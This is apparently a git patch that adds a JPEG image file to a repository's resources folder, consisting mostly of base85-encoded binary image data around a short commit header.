z!ABYAS|Ls2sVD8TPrg5~rNJ55v3QjSYI9sSY#(B$irUaDyqLdodT%{L)5$RCmr{53^Di*p_un;6QiJJ&jxf^>7 zP&nuyY-55&hIE;n&`?%!EQ` zoG;+_7e_6*h(AHx>~9w0a=VYU7tE4k-^N8m2l6A=Hh7m68_0*RAfLm3MbC7L6YVRL zKt~#eukfKGnRAl|f8*8J8Jw7XiU}#V-3b`NvEkvRs?{S5`SB5Duc;n8Y=Jz~*%+6} z<;|?E%Cb~AJtkICqFu>VCkA2vSAWI=6F9WEw9xK`9!u1DRO9g`1O#%e_Or}z^yGx3 z4CZx+bDS1=XhHkerFFazHkBKy;13(J6hEn%Kl%%z^-|1eVT1-bee9)l=xgrk*Dned zLZcVoud(Gr-p+Vdxtss3?j@r?Qq-1xAleL?nU8R_7gViow0C0vZQP1H%V@tdS$8A_ z@+1y?JN^lI8l(%7gubIR$XwW~uxcqIC9UK*sSI5;UWKZlxz!__DLm~D_V^G_HDmT% z5Jq%1Ti4jq+!Bjj9l!k~Yh|&N5@r%1=q`ivlw8l}v}F1-!;!Sajw@@Bv`o={QINc` zR*ovwd+mv{`sQ?D;d+p498tWgG(~6<2TRS%CvBkK(Uawwj8}^AxuPA;BUB?}ZGZ`B z(aK4~iCZ;kH@y;zbT0eha(329@V?BOYSLy8f3j`Sr__BnUsmbxX39F9$2gj8aB~DT zf+#D)K5a&-Gi+aiHJ;Bbueq)DoFL**A1vVkAtSbz@x0n+4zo1Y4rgi0_TFdEPTrE6 zN~T3(`>~C$_@|k3qaFW(uK#+3!wRY=tKzn7F!Bb!ghL-Tp@DUc5n(T-Kc1A+APRZB z(b8+mmEf59@!kL%f)zM}qyEg2SpNBoLbJTL!?3beN|@|(5?*WIo;|$SLVzCGjMCCZ z#hy^F99NS76sM!Ft*K%0ft5QsH*3>29uH@MmHoGs`*e4SUYqbk`n`TGEG;$-VKoWz z0$L^Oo|_(y=2^Sqv+f> zQ94qaz4a&<&u|N^TK=w%@t%q+T5#5Qb0n$VlX=)e1FKrHS9!H9rAC+TZJN^hEuO$m z<`2uXviIS6N!SK-OdR>%%$4)BTgBUkQm=nZ*1&S-+UM@hcCIF<(C)kC9x@E~DUQ)| zl10-3<#1)Ggu{HnFk;W%B`_QKWFJ#+unlp^$IW%ewei}Dc&c#W=^x z`xnGr6-G$hDaI_A1u1205NsWM#Etrqk9CDxeC$vv{RefbAB2rZuvH01u);M}K>o>D zf({DEhxT%m#f^*_>J`lMr*6oW=^mVF-Y{;=#iO^yrI%l&aFVCl`J30b1YZUf-6{5#>iPhlk+nn__Vm4*oVVhXT zskoSILOKePM|0lIJgH=*r|b=~ua(Y71WO>|+G#w;AGz{Z555>fW;GVW)U0h=(;S2; zx&82_`%;DRAMSKR7v`jYi%JsqVr5sroAM&S*EnZfYWBl}a`Qo1 Date: Sun, 10 Jan 2021 22:36:55 +0530 Subject: [PATCH 463/838] Add files via upload --- resources/IMG_20200929_103719_629.jpg | Bin 0 -> 54293 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 resources/IMG_20200929_103719_629.jpg diff --git a/resources/IMG_20200929_103719_629.jpg b/resources/IMG_20200929_103719_629.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d4e6cd95438e39ba8b03bdfb63cae61fcafd511a GIT binary patch literal 54293 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 